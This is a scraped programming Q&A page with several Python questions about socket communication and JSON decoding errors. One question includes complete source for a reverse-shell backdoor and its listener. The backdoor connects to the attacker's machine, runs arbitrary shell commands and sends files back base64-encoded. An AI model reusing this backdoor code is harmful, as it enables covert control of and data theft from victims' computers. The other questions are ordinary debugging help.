Working on a script to poll a smart plug and parse the json response for further use.
This works perfectly:
while True:
try:
ip = "192.168.1.130"
port = 9999
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.connect((ip, port))
cmd_emeter = commands['emeter']
sock_tcp.send(encrypt(cmd_emeter))
data_emeter = sock_tcp.recv(2048)
sock_tcp.close()
# decrypt, parse, and relay emeter response
emeter = decrypt(data_emeter[4:])
parsed_json_emeter = json.loads(emeter)
voltage = parsed_json_emeter['emeter']['get_realtime']['voltage']
power = parsed_json_emeter['emeter']['get_realtime']['power']
print voltage
print power
publish.single("myHome/smartplug1/voltage", voltage, hostname="192.168.1.120")
publish.single("myHome/smartplug1/power", power, hostname="192.168.1.120")
time.sleep(5)
except socket.error:
quit("Cound not connect to host " + ip + ":" + str(port))
This does not:
while True:
try:
ip = "192.168.1.130"
port = 9999
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.connect((ip, port))
cmd_emeter = commands['emeter']
sock_tcp.send(encrypt(cmd_emeter))
data_emeter = sock_tcp.recv(2048)
cmd_info = commands['info']
sock_tcp.send(encrypt(cmd_info))
data_info = sock_tcp.recv(2048)
#cmd_daystats = commands['daystats']
#sock_tcp.send(encrypt(cmd_daystats))
#data_daystats = sock_tcp.recv(2048)
sock_tcp.close()
# decrypt, parse, and relay emeter response
emeter = decrypt(data_emeter[4:])
parsed_json_emeter = json.loads(emeter)
voltage = parsed_json_emeter['emeter']['get_realtime']['voltage']
power = parsed_json_emeter['emeter']['get_realtime']['power']
print voltage
print power
publish.single("myHome/smartplug1/voltage", voltage, hostname="192.168.1.120")
publish.single("myHome/smartplug1/power", power, hostname="192.168.1.120")
# decrypt, parse, and relay info response
info = decrypt(data_info[4:])
parsed_json_info = json.loads(info)
relay_state = parsed_json_info['system']['get_sysinfo']['relay_state']
print relay_state
#publish.single("myHome/smartplug1/voltage", voltage, hostname="192.168.1.120")
#publish.single("myHome/smartplug1/power", power, hostname="192.168.1.120")
time.sleep(5)
except socket.error:
quit("Cound not connect to host " + ip + ":" + str(port))
I need help figuring out why. Perhaps some sort of buffer issue with the sock_tcp.recv(2048) lines.
Here is the error message:
pi#raspberrypi:/usr/share/openhab/scripts $ python HS110-relay.py
119.622975
0
Traceback (most recent call last):
File "HS110-relay.py", line 89, in <module>
parsed_json_info = json.loads(info)
File "/usr/lib/python2.7/json/__init__.py", line 338, in loads
return _default_decoder.decode(s)
File "/usr/lib/python2.7/json/decoder.py", line 366, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python2.7/json/decoder.py", line 384, in raw_decode
raise ValueError("No JSON object could be decoded")
ValueError: No JSON object could be decoded
Thanks.
Baobab
Related
I'm trying to make a little program which needs two clients and a server. Basically I want to send JSON from client 1 to client 2, (which client 1 has received from the server), but it doesn't work. From client 1 to the server does work though. I use a new socket connection to send from client 1 to client 2 (this is mandatory for my assignment).
I get these errors:
File "C:\Users\duser\OneDrive\Bureaublad\clientt.py", line 105, in <module>
client2()
File "C:\Users\duser\OneDrive\Bureaublad\clientt.py", line 75, in client2
newdict = json.loads(receiveclient1)
File "C:\Users\duser\AppData\Local\Programs\Python\Python38\lib\json\__init__.py", line 357, in loads
return _default_decoder.decode(s)
File "C:\Users\duser\AppData\Local\Programs\Python\Python38\lib\json\decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Users\duser\AppData\Local\Programs\Python\Python38\lib\json\decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
Here is the code:
import socket
import json
import sys
i = 0
host = "xxx.xx.xxx.xxx"
port = 55550
port2 = 44445
obj = socket.socket()
s = socket.socket()
hostname = socket.gethostname()
complete_info = ''
clientinfo = {"studentnr1": "0982130",
"studentnr2": "0943260",
"classname": "INF",
"clientid": 1,
"teamname":"Team",
"ip":socket.gethostbyname(hostname),
"secret": "",
"status": ""}
def client1():
global complete_info, newdict
obj.connect((host,port))
while True:
data = obj.recv(1024)
if len(data) == 0:
break
complete_info = data.decode("utf-8")
print(complete_info)
clientinfosend = str.encode(json.dumps(clientinfo))
obj.sendall(clientinfosend)
inforeceive = obj.recv(1024).decode("utf-8")
inforeceived = json.loads(inforeceive)
print(inforeceived)
s.connect((socket.gethostbyname(hostname),port2))
s.sendall(str.encode(json.dumps(inforeceived)))
obj.close()
print("Connection closed")
def client2():
#while loop which listens to connection from client 1
s.bind((socket.gethostbyname(hostname), port2))
s.listen()
conn, addr = s.accept()
print("Listening for connections")
while True:
print('Connection from', addr)
data = conn.recv(1024).decode("utf-8")
if not data:
break
receiveclient1 = conn.recv(1024).decode("utf-8")
newdict = json.loads(receiveclient1)
print(newdict)
temp = newdict["studentnr1"]
newdict["studentnr1"] = newdict["studentnr2"]
newdict["studentnr2"] = temp
newdict["clientid"] = sys.argv[1]
s.close()
num_arguments = len(sys.argv[1:])
i = 1
args = sys.argv[1:]
if int(sys.argv[i]) == 1:
client1()
elif int(sys.argv[i]) == 2:
client2()
In client2, you first read the socket until it is shut down or closed with:
while True:
print('Connection from', addr)
data = conn.recv(1024).decode("utf-8")
if not data:
break
That means that when you exit that loop, no data can come from the socket.
So in next lines:
receiveclient1 = conn.recv(1024).decode("utf-8")
newdict = json.loads(receiveclient1)
receiveclient1 is an empty string, which explains the error.
You should instead build receiveclient1 from the data fragments:
receiveclient1 = ''
while True:
print('Connection from', addr)
data = conn.recv(1024).decode("utf-8")
if not data:
break
receiveclient1 += data
newdict = json.loads(receiveclient1)
in my listner.py file i'm using json to send or receive data when i am downloading a larger file i am getting some error when using download method from this code small file is download but when downloading large file its show error i think this error is cause of json.loads() function which i use in to receive data from backdoor.py
listner.py
import socket, json, base64
class Listner:
"""docstring for Listner"""
def __init__(self, ip, port):
try:
listner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listner.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listner.bind((ip, port))
listner.listen(0)
except Exception as msg:
print(str(msg))
exit(0)
print("[+] Waiting for incoming connections")
self.connection, address = listner.accept()
print("[+] Got a connection from " + str(address))
def relibale_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relibale_receive(self):
json_data = self.connection.recv(4096)
return json.loads(json_data)
def execute_remotely(self, command):
self.relibale_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.relibale_receive()
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content))
return "[+] Download successful."
def run(self):
while True:
command = raw_input(">> ")
command = command.split(" ")
result = self.execute_remotely(command)
if command[0] == "download":
result = self.write_file(command[1], result)
print(result)
my_listner = Listner("192.168.43.239", 4444)
my_listner.run()
backdoor.py
#! /usr/bin/env/ python
import socket
import subprocess
import json
import os
import base64
class Backdoor:
"""docstring for Backdoor"""
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def relibale_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relibale_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
try:
return subprocess.check_output(command, shell=True)
except :
return "[-] Command Not Found"
def change_working_directory_to(self, path):
try:
os.chdir(path)
return "Chaning working directory to " + path
except :
return "[-] Path not found"
def read_file(self, path):
try:
with open(path, "rb") as file:
return base64.b64encode(file.read())
except Exception as msg:
return "[-] Download Error "
def run(self):
while True:
command = self.relibale_receive()
if command[0] == "exit":
self.connection.close()
exit()
elif command[0] == "cd" and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == "download" and len(command) > 1:
command_result = self.read_file(command[1])
else:
command_result = self.execute_system_command(command)
self.relibale_send(command_result)
connection.close()
my_backdoor = Backdoor("192.168.43.239", 4444)
my_backdoor.run()
error is
>> dir
Volume in drive C has no label.
Volume Serial Number is 1498-641D
Directory of C:\Users\Vik\Downloads\python_project
06/11/2020 10:05 PM <DIR> .
06/11/2020 10:05 PM <DIR> ..
06/10/2020 07:04 PM 91,521 gtr.jpg
06/11/2020 10:04 PM 1,594 reverse_backdoor.py
06/11/2020 09:05 PM 50 sa.txt
3 File(s) 93,165 bytes
2 Dir(s) 32,916,660,224 bytes free
>> download gtr.jpg
Traceback (most recent call last):
File "listner.py", line 53, in <module>
my_listner.run()
File "listner.py", line 44, in run
result = self.execute_remotely(command)
File "listner.py", line 33, in execute_remotely
return self.relibale_receive()
File "listner.py", line 26, in relibale_receive
return json.loads(json_data)
File "/usr/lib/python2.7/json/__init__.py", line 339, in loads
return _default_decoder.decode(s)
File "/usr/lib/python2.7/json/decoder.py", line 364, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python2.7/json/decoder.py", line 380, in raw_decode
obj, end = self.scan_once(s, idx)
ValueError: Unterminated string starting at: line 1 column 1 (char 0)
I found this script on aaronbell.com with which I´m trying to use my Dashbutton to connect to IFTTT. My Pi is throwing this error:
Traceback (most recent call last):
File "dash.py", line 30, in <module>
rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
File "/usr/lib/python2.7/socket.py", line 187, in __init__
_sock = _realsocket(family, type, proto)
socket.error: [Errno 1] Operation not permitted
and here is my script:
import socket
import struct
import binascii
import time
import json
import urllib2
ifttt_key = 'loremipsum'
ifttt_url_button = 'https://maker.ifttt.com/trigger/button_was_pressed/with/key/' + ifttt_key
macs = {
'AC63BEBA94E1' : 'MiXT4Pi'
}
def trigger_url(url):
data = '{ "value1" : "' + time.strftime("%Y-%m-%d") + '", "value2" : "' + time.strftime("%H:%M") + '" }'
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
f = urllib2.urlopen(req)
response = f.read()
f.close()
return response
def button_was_pressed():
print 'triggering button event, response: ' + trigger_url(ifttt_url_button)
rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
while True:
packet = rawSocket.recvfrom(2048)
ethernet_header = packet[0][0:14]
ethernet_detailed = struct.unpack("!6s6s2s", ethernet_header)
# skip non-ARP packets
ethertype = ethernet_detailed[2]
if ethertype != '\x08\x06':
continue
# read out data
arp_header = packet[0][14:42]
arp_detailed = struct.unpack("2s2s1s1s2s6s4s6s4s", arp_header)
source_mac = binascii.hexlify(arp_detailed[5])
source_ip = socket.inet_ntoa(arp_detailed[6])
dest_ip = socket.inet_ntoa(arp_detailed[8])
if source_mac in macs:
#print "ARP from " + macs[source_mac] + " with IP " + source_ip
if macs[source_mac] == 'MiXT4Pi':
button_was_pressed()
else:
print "Unknown MAC " + source_mac + " from IP " + source_ip
I tried changing line 30 to:
rawSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0003))
but a similar error occures:
Traceback (most recent call last):
File "dash.py", line 30, in <module>
rawSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x0003))
File "/usr/lib/python2.7/socket.py", line 187, in __init__
_sock = _realsocket(family, type, proto)
socket.error: [Errno 22] Invalid argument
Thanks in advance for your help!
CHANGE THE LINE
rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
TO THIS
rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 0)
This will work.
First, domain should be set to "AF_INET", just like in the struct sockaddr_in (above.) Next, the type argument tells the kernel what kind of socket this is: SOCK_STREAM or SOCK_DGRAM. Finally, just set protocol to "0" to have socket() choose the correct protocol based on the type. (Notes: there are many more domains than I've listed. There are many more types than I've listed. See the socket() man page. Also, there's a "better" way to get the protocol. See the getprotobyname() man page.)
I am writing a multi-threaded client/server program. It splits a large file into smaller files in its client side and sends the smaller files to the server concurrently.
The problem is that in every run, the server can only receive two of the smaller files (the first one and another random one). Meanwhile, I encounter the error: "[Errno 32] Broken pipe" in client side of the program in s.sendall(part). The error arises in every thread that starts to send one of the smaller files before reception of the first file (on the server). In other words, every thread that starts to send after the reception the first file (on the server) can complete its task.
I run each of the client and server codes on different computers (both have the following specification: Ubuntu 14.04 desktop, 64 bit, 16GiB ram)
Client side Error:
Traceback (most recent call last):
File "Desktop/File_transmission/Client.py", line 56, in sendSplittedFile
s.sendall(part)
File "/usr/lib/python2.7/socket.py", line 224, in meth
return getattr(self._sock,name)(*args)
error: [Errno 32] Broken pipe
Client.py:
import random
import socket
import time
import threading
import errno
import select
import File_manipulation
import sys, traceback
class Client:
nodesIpAddr = ["....", "...."] #Server = ....
dataPort = 45678
delay = 2
inputFileAddress = 'tosend.dat'
fileOutputPrefix = 'output'
fileOutputSuffix = ".dat"
bufferSize = 2048
max_size_splitted_file = 10*(2**20) # 10 MiB
def __init__ (self, my_ip):
self.ip = my_ip
def send(self, ip_toSend, dataPort):
print "\tSend function is runing."
totalNumSplittedFile = File_manipulation.split_file(Client.inputFileAddress, Client.fileOutputPrefix, Client.max_size_splitted_file , Client.bufferSize)
for i in range(0, totalNumSplittedFile):
thread_send = threading.Thread(target = self.sendSplittedFile, args = (ip_toSend, dataPort, Client.bufferSize, i, Client.fileOutputPrefix, totalNumSplittedFile))
thread_send.start()
def sendSplittedFile(self, ip_toSend, dataPort, bufferSize, fileNumber, fileNamePrefix, totalNumSplittedFile):
# Create a socket (SOCK_STREAM means a TCP socket)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
BUFFER_SIZE = bufferSize
try:
s.connect((ip_toSend, dataPort))
f = open(fileNamePrefix + '.%s' % fileNumber,'rb')
s.send(str(fileNumber) + " " + str(totalNumSplittedFile))
part = f.read(BUFFER_SIZE)
while (part):
s.sendall(part)
part = f.read(BUFFER_SIZE)
f.close()
s.sendall(part)
time.sleep(Client.delay)
s.sendall('EOF')
print "Done Sending."
print s.recv(BUFFER_SIZE)
s.close()
print "\tData is sent to ", ip_toSend,
except socket.error, v:
traceback.print_exception(*sys.exc_info())
s.close()
nodeIP = [(s.connect(('8.8.8.8', 80)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
n = Client(nodeIP)
n.send(n.nodesIpAddr[0], n.dataPort)
Server Side Error:
Traceback (most recent call last):
File "/usr/lib/python2.7/SocketServer.py", line 295, in _handle_request_noblock
self.process_request(request, client_address)
File "/usr/lib/python2.7/SocketServer.py", line 321, in process_request
self.finish_request(request, client_address)
File "/usr/lib/python2.7/SocketServer.py", line 334, in finish_request
self.RequestHandlerClass(request, client_address, self)
File "/usr/lib/python2.7/SocketServer.py", line 649, in __init__
self.handle()
File "Desktop/File_transmissionServer.py", line 37, in handle
totalFileNumber = int(details[1])
ValueError: null byte in argument for int()
Server.py
import socket
import time
import threading
import errno
import select
import SocketServer
import File_manipulation
class ServerThreadHandler(SocketServer.BaseRequestHandler):
nodesIpAddr = ["....", "...."] #Server = ....
fileOutputPrefix = 'torec '
fileOutputSuffix = '.dat'
dataPort = 45678
delay = 3
maxNumClientListenedTo = 200
timeout_in_seconds = 5
bufferSize = 2048
totalFileNumber = 0 #Total number of splitted files. It should be set by the incoming packets
def handle(self):
BUFFER_SIZE = ServerThreadHandler.bufferSize # Normally 1024, but we want fast response
# self.request is the TCP socket connected to the client
data = self.request.recv(BUFFER_SIZE)
addr = self.client_address[0]
details = str(data).split()
currentFileNum = int(details[0])
totalFileNumber = int(details[1])
print '\tReceive: Connection address:', addr,'Current File Number: ', currentFileNum, 'Total Number of splitted files: ', totalFileNumber
f = open(ServerThreadHandler.fileOutputPrefix + '_Received.%s' % currentFileNum, 'wb')
data = self.request.recv(BUFFER_SIZE)
while (data and data != 'EOF'):
f.write(data)
data = self.request.recv(BUFFER_SIZE)
f.close()
print "Done Receiving." ," File Number: ", currentFileNum
self.request.sendall('\tThank you for data. File Number: ' + str(currentFileNum))
if __name__ == "__main__":
HOST, PORT = ServerThreadHandler.nodesIpAddr[0], ServerThreadHandler.dataPort # HOST = "localhost"
server = SocketServer.TCPServer((HOST, PORT), ServerThreadHandler)
# Activate the server; this will keep running until you interrupt the program with Ctrl-C
server.serve_forever()
I am having an issue with JSON, I can't seem to figure out why this is not working. This is supposed to output JSON.
Here is my code
#!/usr/bin/env python
import socket
import struct
import json
def unpack_varint(s):
d = 0
i = 0
while True:
b = ord(s.recv(1))
d |= (b & 0x7F) << 7*i
i += 1
if not b & 0x80:
return d
def pack_data(d):
return struct.pack('>b', len(d)) + d
def pack_port(i):
return struct.pack('>H', i)
def get_info(host, port=25565):
# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# Send handshake + status request
s.send(pack_data("\x00\x00" + pack_data(host.encode('utf8')) + pack_port(port) + "\x01"))
s.send(pack_data("\x00"))
# Read response
unpack_varint(s) # Packet length
unpack_varint(s) # Packet ID
l = unpack_varint(s) # String length
d = ""
while len(d) < l:
d += s.recv(1024)
# Close our socket
s.close()
# Load json and return
return json.loads(d.decode('utf8'))
get_info('162.213.43.124');
I am getting this error
Traceback (most recent call last):
File "main.py", line 46, in
get_info('162.213.43.124');
File "main.py", line 45, in get_info
return json.loads(d.decode('utf8'))
File "/usr/local/lib/python2.7/json/__init__.py", line 338, in loads
return _default_decoder.decode(s)
File "/usr/local/lib/python2.7/json/decoder.py", line 365, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/local/lib/python2.7/json/decoder.py", line 383, in raw_decode
raise ValueError("No JSON object could be decoded")
ValueError: No JSON object could be decoded
If anyone could come to the rescue that would be awesome!
It seems that you have invalid JSON. In that case, that's totally dependent on the data the server sends you which you have not shown. I would suggest running the response through a JSON validator.